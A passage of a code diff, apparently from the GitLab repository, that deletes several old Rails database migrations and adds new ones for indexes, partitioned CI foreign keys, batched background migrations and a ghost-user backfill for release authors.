- add_concurrent_foreign_key(:analytics_devops_adoption_segment_selections, :projects, column: :project_id, on_delete: :cascade)
- add_concurrent_foreign_key(:analytics_devops_adoption_segment_selections, :namespaces, column: :group_id, on_delete: :cascade)
- add_check_constraint :analytics_devops_adoption_segment_selections, '(project_id != NULL AND group_id IS NULL) OR (group_id != NULL AND project_id IS NULL)', 'segment_selection_project_id_or_group_id_required'
- end
-end
diff --git a/db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb b/db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb
deleted file mode 100644
index 8ff0e306ad5..00000000000
--- a/db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillDraftStatusOnMergeRequests < ActiveRecord::Migration[6.0]
- # include Gitlab::Database::MigrationHelpers
-
- # Marking these as no-op as the original contents caused timeouts on
- # staging. Removing the code here per
- # #https://docs.gitlab.com/ee/development/deleting_migrations.html#how-to-disable-a-data-migration
- # =>
- def up
- # no-op
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb b/db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb
deleted file mode 100644
index 6dec99c8acd..00000000000
--- a/db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class CleanUpRenameExperimentSubjectsGroupIdToNamespaceId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers::V2
-
- disable_ddl_transaction!
-
- def up
- cleanup_concurrent_column_rename :experiment_subjects, :group_id, :namespace_id
- end
-
- def down
- undo_cleanup_concurrent_column_rename :experiment_subjects, :group_id, :namespace_id
- end
-end
diff --git a/db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb b/db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb
deleted file mode 100644
index 7aac4446c0c..00000000000
--- a/db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class FinalizeRenameInstanceStatisticsMeasurements < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- finalize_table_rename(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
- end
-
- def down
- undo_finalize_table_rename(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
- end
-end
diff --git a/db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb b/db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb
deleted file mode 100644
index 85302ee1d20..00000000000
--- a/db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class FixTotalStageInVsa < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TOTAL_STAGE = 'Total'
-
- class GroupStage < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'analytics_cycle_analytics_group_stages'
- end
-
- def up
- GroupStage.reset_column_information
-
- GroupStage.each_batch(of: 100) do |relation|
- relation.where(name: TOTAL_STAGE, custom: false).update_all(custom: true)
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20211004120135_schedule_add_primary_email_to_emails_if_user_confirmed.rb b/db/post_migrate/20211004120135_schedule_add_primary_email_to_emails_if_user_confirmed.rb
deleted file mode 100644
index d7b213b384a..00000000000
--- a/db/post_migrate/20211004120135_schedule_add_primary_email_to_emails_if_user_confirmed.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleAddPrimaryEmailToEmailsIfUserConfirmed < Gitlab::Database::Migration[1.0]
- INTERVAL = 2.minutes.to_i
- BATCH_SIZE = 10_000
- MIGRATION = 'AddPrimaryEmailToEmailsIfUserConfirmed'
-
- disable_ddl_transaction!
-
- class User < ActiveRecord::Base
- include ::EachBatch
-
- self.table_name = 'users'
- self.inheritance_column = :_type_disabled
- end
-
- def up
- queue_background_migration_jobs_by_range_at_intervals(
- User,
- MIGRATION,
- INTERVAL,
- batch_size: BATCH_SIZE,
- track_jobs: true
- )
- end
-
- def down
- # intentionally blank
- end
-end
diff --git a/db/post_migrate/20211206162601_cleanup_after_add_primary_email_to_emails_if_user_confirmed.rb b/db/post_migrate/20211206162601_cleanup_after_add_primary_email_to_emails_if_user_confirmed.rb
deleted file mode 100644
index 14f6c751e4d..00000000000
--- a/db/post_migrate/20211206162601_cleanup_after_add_primary_email_to_emails_if_user_confirmed.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-# frozen_string_literal: true
-
-class CleanupAfterAddPrimaryEmailToEmailsIfUserConfirmed < Gitlab::Database::Migration[1.0]
- disable_ddl_transaction!
-
- MIGRATION_NAME = 'AddPrimaryEmailToEmailsIfUserConfirmed'
- BATCH_SIZE = 10_000
-
- # Stubbed class to access the User table
- class User < ActiveRecord::Base
- include ::EachBatch
-
- self.table_name = 'users'
- self.inheritance_column = :_type_disabled
-
- scope :confirmed, -> { where.not(confirmed_at: nil) }
-
- has_many :emails
- end
-
- # Stubbed class to access the Emails table
- class Email < ActiveRecord::Base
- self.table_name = 'emails'
- self.inheritance_column = :_type_disabled
-
- belongs_to :user
- end
-
- def up
- finalize_background_migration(MIGRATION_NAME)
-
- # Select confirmed users that do not have their primary email in the emails table,
- # and create the email record. There should be none if the background migration
- # completed, but in case there is any leftover, we deal with it synchronously.
- not_exists_condition = 'NOT EXISTS (SELECT 1 FROM emails WHERE emails.email = users.email AND emails.user_id = users.id)'
-
- User.confirmed.each_batch(of: BATCH_SIZE) do |user_batch|
- user_batch.select(:id, :email, :confirmed_at).where(not_exists_condition).each do |user|
- current_time = Time.now.utc
-
- begin
- Email.create(
- user_id: user.id,
- email: user.email,
- confirmed_at: user.confirmed_at,
- created_at: current_time,
- updated_at: current_time
- )
- rescue StandardError => error
- Gitlab::AppLogger.error("Could not add primary email #{user.email} to emails for user with ID #{user.id} due to #{error}")
- end
- end
- end
- end
-
- def down
- # Intentionally left blank
- end
-end
diff --git a/db/post_migrate/20220826152430_remove_container_repository_deprecated_geo_fields.rb b/db/post_migrate/20220826152430_remove_container_repository_deprecated_geo_fields.rb
new file mode 100644
index 00000000000..f5cb2be4ebe
--- /dev/null
+++ b/db/post_migrate/20220826152430_remove_container_repository_deprecated_geo_fields.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class RemoveContainerRepositoryDeprecatedGeoFields < Gitlab::Database::Migration[2.0]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ remove_column :geo_event_log, :container_repository_updated_event_id, :bigint
+ end
+ end
+
+ def down
+ with_lock_retries do
+ unless column_exists?(:geo_event_log, :container_repository_updated_event_id)
+ add_column(:geo_event_log, :container_repository_updated_event_id, :bigint)
+ end
+ end
+
+ add_concurrent_foreign_key :geo_event_log, :geo_container_repository_updated_events,
+ column: :container_repository_updated_event_id,
+ name: 'fk_6ada82d42a',
+ on_delete: :cascade
+
+ add_concurrent_index :geo_event_log,
+ :container_repository_updated_event_id,
+ name: 'index_geo_event_log_on_container_repository_updated_event_id'
+ end
+end
diff --git a/db/post_migrate/20220826152432_remove_container_repository_updated_events.rb b/db/post_migrate/20220826152432_remove_container_repository_updated_events.rb
new file mode 100644
index 00000000000..edce7b4e891
--- /dev/null
+++ b/db/post_migrate/20220826152432_remove_container_repository_updated_events.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class RemoveContainerRepositoryUpdatedEvents < Gitlab::Database::Migration[2.0]
+ disable_ddl_transaction!
+
+ def up
+ drop_table :geo_container_repository_updated_events
+ end
+
+ def down
+ create_table :geo_container_repository_updated_events, id: :bigserial do |t|
+ t.integer :container_repository_id,
+ null: false,
+ index: { name: :idx_geo_con_rep_updated_events_on_container_repository_id }
+ end
+
+ add_concurrent_foreign_key :geo_container_repository_updated_events, :container_repositories,
+ column: :container_repository_id,
+ name: 'fk_212c89c706',
+ on_delete: :cascade
+ end
+end
diff --git a/db/post_migrate/20221102231131_remove_temp_index_for_user_details_fields.rb b/db/post_migrate/20221102231131_remove_temp_index_for_user_details_fields.rb
new file mode 100644
index 00000000000..340d1205ef7
--- /dev/null
+++ b/db/post_migrate/20221102231131_remove_temp_index_for_user_details_fields.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class RemoveTempIndexForUserDetailsFields < Gitlab::Database::Migration[2.0]
+ BACKFILL_MIGRATION = 'BackfillUserDetailsFields'
+ INDEX_NAME = 'tmp_idx_where_user_details_fields_filled'
+
+ disable_ddl_transaction!
+
+ def up
+ finalize_background_migration BACKFILL_MIGRATION
+ remove_concurrent_index_by_name :users, INDEX_NAME
+ end
+
+ def down
+ # rubocop:disable Migration/PreventIndexCreation
+ add_concurrent_index :users, :id, name: INDEX_NAME, where: <<~QUERY
+ (COALESCE(linkedin, '') IS DISTINCT FROM '')
+ OR (COALESCE(twitter, '') IS DISTINCT FROM '')
+ OR (COALESCE(skype, '') IS DISTINCT FROM '')
+ OR (COALESCE(website_url, '') IS DISTINCT FROM '')
+ OR (COALESCE(location, '') IS DISTINCT FROM '')
+ OR (COALESCE(organization, '') IS DISTINCT FROM '')
+ QUERY
+ # rubocop:enable Migration/PreventIndexCreation
+ end
+end
diff --git a/db/post_migrate/20221110100600_add_temp_index_on_overlong_vulnerability_html_title.rb b/db/post_migrate/20221110100600_add_temp_index_on_overlong_vulnerability_html_title.rb
new file mode 100644
index 00000000000..5ff56874e11
--- /dev/null
+++ b/db/post_migrate/20221110100600_add_temp_index_on_overlong_vulnerability_html_title.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddTempIndexOnOverlongVulnerabilityHtmlTitle < Gitlab::Database::Migration[2.0]
+ INDEX_NAME = 'tmp_index_vulnerability_overlong_title_html'
+
+ disable_ddl_transaction!
+
+ def up
+ # Temporary index to speed up the truncation of vulnerabilities with invalid html title length
+ add_concurrent_index :vulnerabilities, [:id],
+ name: INDEX_NAME,
+ where: "LENGTH(title_html) > 800"
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20221110100602_queue_truncate_overlong_vulnerability_html_titles.rb b/db/post_migrate/20221110100602_queue_truncate_overlong_vulnerability_html_titles.rb
new file mode 100644
index 00000000000..48301498c5a
--- /dev/null
+++ b/db/post_migrate/20221110100602_queue_truncate_overlong_vulnerability_html_titles.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class QueueTruncateOverlongVulnerabilityHtmlTitles < Gitlab::Database::Migration[2.0]
+ MIGRATION = 'TruncateOverlongVulnerabilityHtmlTitles'
+ INTERVAL = 2.minutes
+ BATCH_SIZE = 1_000
+ MAX_BATCH_SIZE = 10_000
+ SUB_BATCH_SIZE = 200
+
+ disable_ddl_transaction!
+
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ def up
+ queue_batched_background_migration(
+ MIGRATION,
+ :vulnerabilities,
+ :id,
+ job_interval: INTERVAL,
+ batch_size: BATCH_SIZE,
+ max_batch_size: MAX_BATCH_SIZE,
+ sub_batch_size: SUB_BATCH_SIZE
+ )
+ end
+
+ def down
+ delete_batched_background_migration(MIGRATION, :vulnerabilities, :id, [])
+ end
+end
diff --git a/db/post_migrate/20221209235939_add_tmp_index_oauth_access_tokens_on_id_where_expires_in_null.rb b/db/post_migrate/20221209235939_add_tmp_index_oauth_access_tokens_on_id_where_expires_in_null.rb
new file mode 100644
index 00000000000..0f313f420f0
--- /dev/null
+++ b/db/post_migrate/20221209235939_add_tmp_index_oauth_access_tokens_on_id_where_expires_in_null.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddTmpIndexOauthAccessTokensOnIdWhereExpiresInNull < Gitlab::Database::Migration[2.1]
+ TMP_INDEX = 'tmp_index_oauth_access_tokens_on_id_where_expires_in_null'
+
+ disable_ddl_transaction!
+
+ def up
+ # Temporary index to be removed in %15.9 or later https://gitlab.com/gitlab-org/gitlab/-/issues/385343
+ add_concurrent_index :oauth_access_tokens, :id, where: "expires_in IS NULL", name: TMP_INDEX
+ end
+
+ def down
+ remove_concurrent_index_by_name :oauth_access_tokens, TMP_INDEX
+ end
+end
diff --git a/db/post_migrate/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in.rb b/db/post_migrate/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in.rb
new file mode 100644
index 00000000000..8daf5bf4d93
--- /dev/null
+++ b/db/post_migrate/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class CleanupOAuthAccessTokensWithNullExpiresIn < Gitlab::Database::Migration[2.1]
+ MIGRATION = 'ReExpireOAuthTokens'
+ INTERVAL = 2.minutes
+ MAX_BATCH_SIZE = 50_000
+
+ disable_ddl_transaction!
+
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ def up
+ queue_batched_background_migration(
+ MIGRATION,
+ :oauth_access_tokens,
+ :id,
+ job_interval: INTERVAL,
+ max_batch_size: MAX_BATCH_SIZE
+ )
+ end
+
+ def down
+ delete_batched_background_migration(MIGRATION, :oauth_access_tokens, :id, [])
+ end
+end
diff --git a/db/post_migrate/20221214095129_second_recount_epic_cache_counts.rb b/db/post_migrate/20221214095129_second_recount_epic_cache_counts.rb
new file mode 100644
index 00000000000..608e27c344e
--- /dev/null
+++ b/db/post_migrate/20221214095129_second_recount_epic_cache_counts.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class SecondRecountEpicCacheCounts < Gitlab::Database::Migration[2.0]
+ MIGRATION = 'SecondRecountEpicCacheCounts'
+ DELAY_INTERVAL = 2.minutes.to_i
+ BATCH_SIZE = 200
+ MAX_BATCH_SIZE = 1000
+ SUB_BATCH_SIZE = 20
+
+ disable_ddl_transaction!
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ def up
+ queue_batched_background_migration(
+ MIGRATION,
+ :epics,
+ :id,
+ job_interval: DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ max_batch_size: MAX_BATCH_SIZE,
+ sub_batch_size: SUB_BATCH_SIZE,
+ gitlab_schema: :gitlab_main
+ )
+ end
+
+ def down
+ delete_batched_background_migration(MIGRATION, :epics, :id, [])
+ end
+end
diff --git a/db/post_migrate/20221214105307_add_token_encrypted_partition_id_index_to_ci_build.rb b/db/post_migrate/20221214105307_add_token_encrypted_partition_id_index_to_ci_build.rb
new file mode 100644
index 00000000000..4c64e9b0e70
--- /dev/null
+++ b/db/post_migrate/20221214105307_add_token_encrypted_partition_id_index_to_ci_build.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddTokenEncryptedPartitionIdIndexToCiBuild < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ TABLE_NAME = :ci_builds
+ INDEX_NAME = :unique_ci_builds_token_encrypted_and_partition_id
+ COLUMNS = %i[token_encrypted partition_id].freeze
+
+ def up
+ prepare_async_index(
+ TABLE_NAME,
+ COLUMNS,
+ where: 'token_encrypted IS NOT NULL',
+ unique: true,
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ unprepare_async_index(TABLE_NAME, COLUMNS, name: INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20221215151822_schedule_backfill_releases_author_id.rb b/db/post_migrate/20221215151822_schedule_backfill_releases_author_id.rb
new file mode 100644
index 00000000000..4d8343ca2dd
--- /dev/null
+++ b/db/post_migrate/20221215151822_schedule_backfill_releases_author_id.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+class ScheduleBackfillReleasesAuthorId < Gitlab::Database::Migration[2.1]
+ MIGRATION = 'BackfillReleasesAuthorId'
+ JOB_DELAY_INTERVAL = 2.minutes
+ GHOST_USER_TYPE = 5
+
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ class User < MigrationRecord
+ self.table_name = 'users'
+ end
+
+ class Release < MigrationRecord
+ self.table_name = 'releases'
+ end
+
+ def up
+ unless release_with_empty_author_exists?
+ say "There are no releases with empty author_id, so skipping migration #{self.class.name}"
+ return
+ end
+
+ create_ghost_user if ghost_user_id.nil?
+
+ queue_batched_background_migration(
+ MIGRATION,
+ :releases,
+ :id,
+ ghost_user_id,
+ job_interval: JOB_DELAY_INTERVAL
+ )
+ end
+
+ def down
+ delete_batched_background_migration(MIGRATION, :releases, :id, [ghost_user_id])
+ end
+
+ private
+
+ def ghost_user_id
+ User.find_by(user_type: GHOST_USER_TYPE)&.id
+ end
+
+ def create_ghost_user
+ user = User.new
+ user.name = 'Ghost User'
+ user.username = 'ghost'
+ user.email = 'ghost@example.com'
+ user.user_type = GHOST_USER_TYPE
+ user.projects_limit = 100000
+
+ user.save!
+ end
+
+ def release_with_empty_author_exists?
+ Release.exists?(author_id: nil)
+ end
+end
diff --git a/db/post_migrate/20221216131710_add_index_to_ci_unit_test_failure.rb b/db/post_migrate/20221216131710_add_index_to_ci_unit_test_failure.rb
new file mode 100644
index 00000000000..f99d2914aa4
--- /dev/null
+++ b/db/post_migrate/20221216131710_add_index_to_ci_unit_test_failure.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToCiUnitTestFailure < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :index_ci_unit_test_failures_on_partition_id_build_id
+ TABLE_NAME = :ci_unit_test_failures
+ COLUMNS = [:partition_id, :build_id]
+
+ def up
+ add_concurrent_index(TABLE_NAME, COLUMNS, name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20221216131935_add_index_to_ci_build_pending_state.rb b/db/post_migrate/20221216131935_add_index_to_ci_build_pending_state.rb
new file mode 100644
index 00000000000..4fec5e016a4
--- /dev/null
+++ b/db/post_migrate/20221216131935_add_index_to_ci_build_pending_state.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToCiBuildPendingState < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :index_ci_build_pending_states_on_partition_id_build_id
+ TABLE_NAME = :ci_build_pending_states
+ COLUMNS = [:partition_id, :build_id]
+
+ def up
+ add_concurrent_index(TABLE_NAME, COLUMNS, name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20221216131958_add_index_to_ci_build_trace_chunk.rb b/db/post_migrate/20221216131958_add_index_to_ci_build_trace_chunk.rb
new file mode 100644
index 00000000000..5577a18c144
--- /dev/null
+++ b/db/post_migrate/20221216131958_add_index_to_ci_build_trace_chunk.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToCiBuildTraceChunk < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :index_ci_build_trace_chunks_on_partition_id_build_id
+ TABLE_NAME = :ci_build_trace_chunks
+ COLUMNS = [:partition_id, :build_id]
+
+ def up
+ add_concurrent_index(TABLE_NAME, COLUMNS, name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20221216144854_add_foreign_key_to_ci_unit_test_failure.rb b/db/post_migrate/20221216144854_add_foreign_key_to_ci_unit_test_failure.rb
new file mode 100644
index 00000000000..e04647d7c92
--- /dev/null
+++ b/db/post_migrate/20221216144854_add_foreign_key_to_ci_unit_test_failure.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToCiUnitTestFailure < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ SOURCE_TABLE_NAME = :ci_unit_test_failures
+ TARGET_TABLE_NAME = :ci_builds
+ COLUMN = :build_id
+ TARGET_COLUMN = :id
+ FK_NAME = :fk_0f09856e1f_p
+ PARTITION_COLUMN = :partition_id
+
+ def up
+ add_concurrent_foreign_key(
+ SOURCE_TABLE_NAME,
+ TARGET_TABLE_NAME,
+ column: [PARTITION_COLUMN, COLUMN],
+ target_column: [PARTITION_COLUMN, TARGET_COLUMN],
+ validate: false,
+ reverse_lock_order: true,
+ name: FK_NAME
+ )
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists(SOURCE_TABLE_NAME, name: FK_NAME)
+ end
+ end
+end
diff --git a/db/post_migrate/20221216150304_add_foreign_key_to_ci_build_pending_state.rb b/db/post_migrate/20221216150304_add_foreign_key_to_ci_build_pending_state.rb
new file mode 100644
index 00000000000..ef9ecc3033f
--- /dev/null
+++ b/db/post_migrate/20221216150304_add_foreign_key_to_ci_build_pending_state.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToCiBuildPendingState < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ SOURCE_TABLE_NAME = :ci_build_pending_states
+ TARGET_TABLE_NAME = :ci_builds
+ COLUMN = :build_id
+ TARGET_COLUMN = :id
+ FK_NAME = :fk_rails_0bbbfeaf9d_p
+ PARTITION_COLUMN = :partition_id
+
+ def up
+ add_concurrent_foreign_key(
+ SOURCE_TABLE_NAME,
+ TARGET_TABLE_NAME,
+ column: [PARTITION_COLUMN, COLUMN],
+ target_column: [PARTITION_COLUMN, TARGET_COLUMN],
+ validate: false,
+ reverse_lock_order: true,
+ name: FK_NAME
+ )
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists(SOURCE_TABLE_NAME, name: FK_NAME)
+ end
+ end
+end
diff --git a/db/post_migrate/20221216150321_add_foreign_key_to_ci_build_trace_chunk.rb b/db/post_migrate/20221216150321_add_foreign_key_to_ci_build_trace_chunk.rb
new file mode 100644
index 00000000000..dd16d3d7787
--- /dev/null
+++ b/db/post_migrate/20221216150321_add_foreign_key_to_ci_build_trace_chunk.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToCiBuildTraceChunk < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ SOURCE_TABLE_NAME = :ci_build_trace_chunks
+ TARGET_TABLE_NAME = :ci_builds
+ COLUMN = :build_id
+ TARGET_COLUMN = :id
+ FK_NAME = :fk_rails_1013b761f2_p
+ PARTITION_COLUMN = :partition_id
+
+ def up
+ add_concurrent_foreign_key(
+ SOURCE_TABLE_NAME,
+ TARGET_TABLE_NAME,
+ column: [PARTITION_COLUMN, COLUMN],
+ target_column: [PARTITION_COLUMN, TARGET_COLUMN],
+ validate: false,
+ reverse_lock_order: true,
+ name: FK_NAME
+ )
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists(SOURCE_TABLE_NAME, name: FK_NAME)
+ end
+ end
+end
diff --git a/db/post_migrate/20221216150919_validate_foreign_key_on_ci_unit_test_failure_partition_id_build_id.rb b/db/post_migrate/20221216150919_validate_foreign_key_on_ci_unit_test_failure_partition_id_build_id.rb
new file mode 100644
index 00000000000..a886949aea7
--- /dev/null
+++ b/db/post_migrate/20221216150919_validate_foreign_key_on_ci_unit_test_failure_partition_id_build_id.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class ValidateForeignKeyOnCiUnitTestFailurePartitionIdBuildId < Gitlab::Database::Migration[2.1]
+ TABLE_NAME = :ci_unit_test_failures
+ FK_NAME = :fk_0f09856e1f_p
+ PARTITION_COLUMN = :partition_id
+ COLUMN = :build_id
+
+ def up
+ validate_foreign_key(TABLE_NAME, [PARTITION_COLUMN, COLUMN], name: FK_NAME)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20221216151459_validate_foreign_key_on_ci_build_pending_state_partition_id_build_id.rb b/db/post_migrate/20221216151459_validate_foreign_key_on_ci_build_pending_state_partition_id_build_id.rb
new file mode 100644
index 00000000000..6ea8cb213ab
--- /dev/null
+++ b/db/post_migrate/20221216151459_validate_foreign_key_on_ci_build_pending_state_partition_id_build_id.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class ValidateForeignKeyOnCiBuildPendingStatePartitionIdBuildId < Gitlab::Database::Migration[2.1]
+ TABLE_NAME = :ci_build_pending_states
+ FK_NAME = :fk_rails_0bbbfeaf9d_p
+ PARTITION_COLUMN = :partition_id
+ COLUMN = :build_id
+
+ def up
+ validate_foreign_key(TABLE_NAME, [PARTITION_COLUMN, COLUMN], name: FK_NAME)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20221216151649_validate_foreign_key_on_ci_build_trace_chunk_partition_id_build_id.rb b/db/post_migrate/20221216151649_validate_foreign_key_on_ci_build_trace_chunk_partition_id_build_id.rb
new file mode 100644
index 00000000000..8afd7de808b
--- /dev/null
+++ b/db/post_migrate/20221216151649_validate_foreign_key_on_ci_build_trace_chunk_partition_id_build_id.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class ValidateForeignKeyOnCiBuildTraceChunkPartitionIdBuildId < Gitlab::Database::Migration[2.1]
+ TABLE_NAME = :ci_build_trace_chunks
+ FK_NAME = :fk_rails_1013b761f2_p
+ PARTITION_COLUMN = :partition_id
+ COLUMN = :build_id
+
+ def up
+ validate_foreign_key(TABLE_NAME, [PARTITION_COLUMN, COLUMN], name: FK_NAME)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20221216232658_index_members_on_member_namespace_id_compound.rb b/db/post_migrate/20221216232658_index_members_on_member_namespace_id_compound.rb
new file mode 100644
index 00000000000..56adad1e4a5
--- /dev/null
+++ b/db/post_migrate/20221216232658_index_members_on_member_namespace_id_compound.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class IndexMembersOnMemberNamespaceIdCompound < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'index_members_on_member_namespace_id_compound'
+
+ disable_ddl_transaction!
+
+ def up
+ prepare_async_index(
+ :members,
+ [:member_namespace_id, :type, :requested_at, :id],
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name :members, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20221216232659_index_members_on_member_namespace_id_compound_sync.rb b/db/post_migrate/20221216232659_index_members_on_member_namespace_id_compound_sync.rb
new file mode 100644
index 00000000000..f37a1b694b4
--- /dev/null
+++ b/db/post_migrate/20221216232659_index_members_on_member_namespace_id_compound_sync.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class IndexMembersOnMemberNamespaceIdCompoundSync < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'index_members_on_member_namespace_id_compound'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(
+ :members,
+ [:member_namespace_id, :type, :requested_at, :id],
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name :members, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20221220075936_add_query_index_for_ci_pipeline_schedules.rb b/db/post_migrate/20221220075936_add_query_index_for_ci_pipeline_schedules.rb
new file mode 100644
index 00000000000..4fc64f66a83
--- /dev/null
+++ b/db/post_migrate/20221220075936_add_query_index_for_ci_pipeline_schedules.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddQueryIndexForCiPipelineSchedules < Gitlab::Database::Migration[2.1]
+ TABLE_NAME = :ci_pipeline_schedules
+ INDEX_NAME = :index_ci_pipeline_schedules_on_id_and_next_run_at_and_active
+ COLUMNS = %i[id next_run_at].freeze
+ INDEX_CONDITION = 'active = TRUE'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(TABLE_NAME, COLUMNS, name: INDEX_NAME, where: INDEX_CONDITION)
+ end
+
+ def down
+ remove_concurrent_index(TABLE_NAME, COLUMNS, name: INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20221220131020_bump_default_partition_id_value_for_ci_tables.rb b/db/post_migrate/20221220131020_bump_default_partition_id_value_for_ci_tables.rb
new file mode 100644
index 00000000000..3d06f02a6d6
--- /dev/null
+++ b/db/post_migrate/20221220131020_bump_default_partition_id_value_for_ci_tables.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+class BumpDefaultPartitionIdValueForCiTables < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ TABLES = {
+ ci_build_needs: [:partition_id],
+ ci_build_pending_states: [:partition_id],
+ ci_build_report_results: [:partition_id],
+ ci_build_trace_chunks: [:partition_id],
+ ci_build_trace_metadata: [:partition_id],
+ ci_builds: [:partition_id],
+ ci_builds_runner_session: [:partition_id],
+ ci_job_artifacts: [:partition_id],
+ ci_job_variables: [:partition_id],
+ ci_pending_builds: [:partition_id],
+ ci_pipeline_variables: [:partition_id],
+ ci_pipelines: [:partition_id],
+ ci_running_builds: [:partition_id],
+ ci_sources_pipelines: [:partition_id, :source_partition_id],
+ ci_stages: [:partition_id],
+ ci_unit_test_failures: [:partition_id],
+ p_ci_builds_metadata: [:partition_id]
+ }
+
+ def up
+ change_partitions_default_value(from: 100, to: 101)
+ end
+
+ def down
+ change_partitions_default_value(from: 101, to: 100)
+ end
+
+ private
+
+ def change_partitions_default_value(from:, to:)
+ return unless Gitlab.com?
+
+ TABLES.each do |table_name, columns|
+ next if columns.all? { |column_name| default_value_for(table_name, column_name) == to }
+
+ with_lock_retries do
